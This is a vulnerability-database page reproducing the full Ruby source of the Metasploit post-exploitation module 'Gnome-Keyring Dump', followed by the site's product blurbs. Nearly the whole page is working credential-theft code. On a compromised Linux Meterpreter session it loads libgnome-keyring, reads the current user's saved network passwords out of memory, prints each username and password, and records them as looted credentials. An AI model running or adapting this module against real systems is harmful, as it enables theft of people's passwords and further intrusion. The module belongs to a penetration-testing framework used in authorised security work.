Lucene search
K

Gnome-Keyring Dump

🗓️ 21 Apr 2017 20:17:18Reported by Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 31 Views

Use libgnome-keyring to extract network passwords for the current user. This module does not require root privileges to run

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'bindata'

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gnome-Keyring Dump',
        'Description' => %q{
          Use libgnome-keyring to extract network passwords for the current user.
          This module does not require root privileges to run.
        },
        'Author' => 'Spencer McIntyre',
        'License' => MSF_LICENSE,
        'Platform' => [ 'linux' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_native_arch
              stdapi_net_resolve_host
              stdapi_railgun_api
              stdapi_railgun_memread
            ]
          }
        }
      )
    )
  end

  class GList_x64 < BinData::Record
    endian :little
    uint64 :data_ptr
    uint64 :next_ptr
    uint64 :prev_ptr
  end

  class GList_x86 < BinData::Record
    endian :little
    uint32 :data_ptr
    uint32 :next_ptr
    uint32 :prev_ptr
  end

  # https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
  def struct_glist
    session.native_arch == ARCH_X64 ? GList_x64 : GList_x86
  end

  class GnomeKeyringNetworkPasswordData_x64 < BinData::Record
    endian :little
    uint64 :keyring
    uint64 :item_id
    uint64 :protocol
    uint64 :server
    uint64 :object
    uint64 :authtype
    uint64 :port
    uint64 :user
    uint64 :domain
    uint64 :password
  end

  class GnomeKeyringNetworkPasswordData_x86 < BinData::Record
    endian :little
    uint32 :keyring
    uint32 :item_id
    uint32 :protocol
    uint32 :server
    uint32 :object
    uint32 :authtype
    uint32 :port
    uint32 :user
    uint32 :domain
    uint32 :password
  end

  # https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
  def struct_gnomekeyringnetworkpassworddata
    session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordData_x64 : GnomeKeyringNetworkPasswordData_x86
  end

  def init_railgun_defs
    unless session.railgun.libraries.key?('libgnome_keyring')
      session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')
    end
    session.railgun.add_function(
      'libgnome_keyring',
      'gnome_keyring_is_available',
      'BOOL',
      [],
      nil,
      'cdecl'
    )
    session.railgun.add_function(
      'libgnome_keyring',
      'gnome_keyring_find_network_password_sync',
      'DWORD',
      [
        ['PCHAR', 'user', 'in'],
        ['PCHAR', 'domain', 'in'],
        ['PCHAR', 'server', 'in'],
        ['PCHAR', 'object', 'in'],
        ['PCHAR', 'protocol', 'in'],
        ['PCHAR', 'authtype', 'in'],
        ['DWORD', 'port', 'in'],
        ['PBLOB', 'results', 'out']
      ],
      nil,
      'cdecl'
    )
    session.railgun.add_function(
      'libgnome_keyring',
      'gnome_keyring_network_password_list_free',
      'VOID',
      [['LPVOID', 'list', 'in']],
      nil,
      'cdecl'
    )
  end

  def get_string(address, chunk_size = 64, max_size = 256)
    data = ''
    loop do
      data << session.railgun.memread(address + data.length, chunk_size)
      break if data.include?("\x00") || (data.length >= max_size)
    end

    if data.include?("\x00")
      idx = data.index("\x00")
      data = data[0...idx]
    end

    data[0...max_size]
  end

  def get_struct(address, record)
    record = record.new
    record.read(session.railgun.memread(address, record.num_bytes))
    Hash[record.field_names.map { |field| [field, record[field]] }]
  end

  def get_list_entry(address)
    glist_struct = get_struct(address, struct_glist)
    glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
    glist_struct
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: opts[:protocol],
      workspace_id: myworkspace_id
    }

    credential_data = {
      post_reference_name: refname,
      session_id: session_db_id,
      origin_type: :session,
      private_data: opts[:password],
      private_type: :password,
      username: opts[:username]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def resolve_host(name)
    address = @hostname_cache[name]
    return address unless address.nil?

    vprint_status("Resolving hostname: #{name}")
    begin
      address = session.net.resolve.resolve_host(name)[:ip]
    rescue Rex::Post::Meterpreter::RequestError
    end
    @hostname_cache[name] = address
  end

  def resolve_port(service)
    port = {
      'ftp' => 21,
      'http' => 80,
      'https' => 443,
      'sftp' => 22,
      'ssh' => 22,
      'smb' => 445
    }[service]
    port.nil? ? 0 : port
  end

  def run
    init_railgun_defs
    @hostname_cache = {}
    libgnome_keyring = session.railgun.libgnome_keyring

    unless libgnome_keyring.gnome_keyring_is_available['return']
      fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
    end

    result = libgnome_keyring.gnome_keyring_find_network_password_sync(
      nil,  # user
      nil,  # domain
      nil,  # server
      nil,  # object
      nil,  # protocol
      nil,  # authtype
      0,    # port
      session.native_arch == ARCH_X64 ? 8 : 4
    )

    list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
    fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0

    entry = { next_ptr: list_anchor }
    loop do
      entry = get_list_entry(entry[:next_ptr])
      pw_data = entry[:data]
      # resolve necessary string fields to non-empty strings or nil
      %i[server user domain password protocol].each do |field|
        value = pw_data[field]
        pw_data[field] = nil
        next if value == 0

        value = get_string(value)
        next if value.empty?

        pw_data[field] = value
      end

      # skip the entry if we don't at least have a username and password
      next if pw_data[:user].nil? || pw_data[:password].nil?

      printable = ''
      printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
      printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
      printable << "#{pw_data[:user]}:#{pw_data[:password]}"
      unless pw_data[:server].nil?
        printable << "@#{pw_data[:server]}"
        printable << ":#{pw_data[:port]}"
      end
      print_good(printable)

      pw_data[:port] = resolve_port(pw_data[:protocol]) if (pw_data[:port] == 0) && !pw_data[:protocol].nil?
      next if pw_data[:port] == 0  # can't report without a valid port

      ip_address = resolve_host(pw_data[:server])
      next if ip_address.nil?      # can't report without an ip address

      report_cred(
        ip: ip_address,
        port: pw_data[:port],
        protocol: 'tcp',
        service_name: pw_data[:protocol],
        username: pw_data[:user],
        password: pw_data[:password]
      )
      break unless (entry[:next_ptr] != list_anchor) && (entry[:next_ptr] != 0)
    end

    libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.4Low risk
Vulners AI Score0.4
31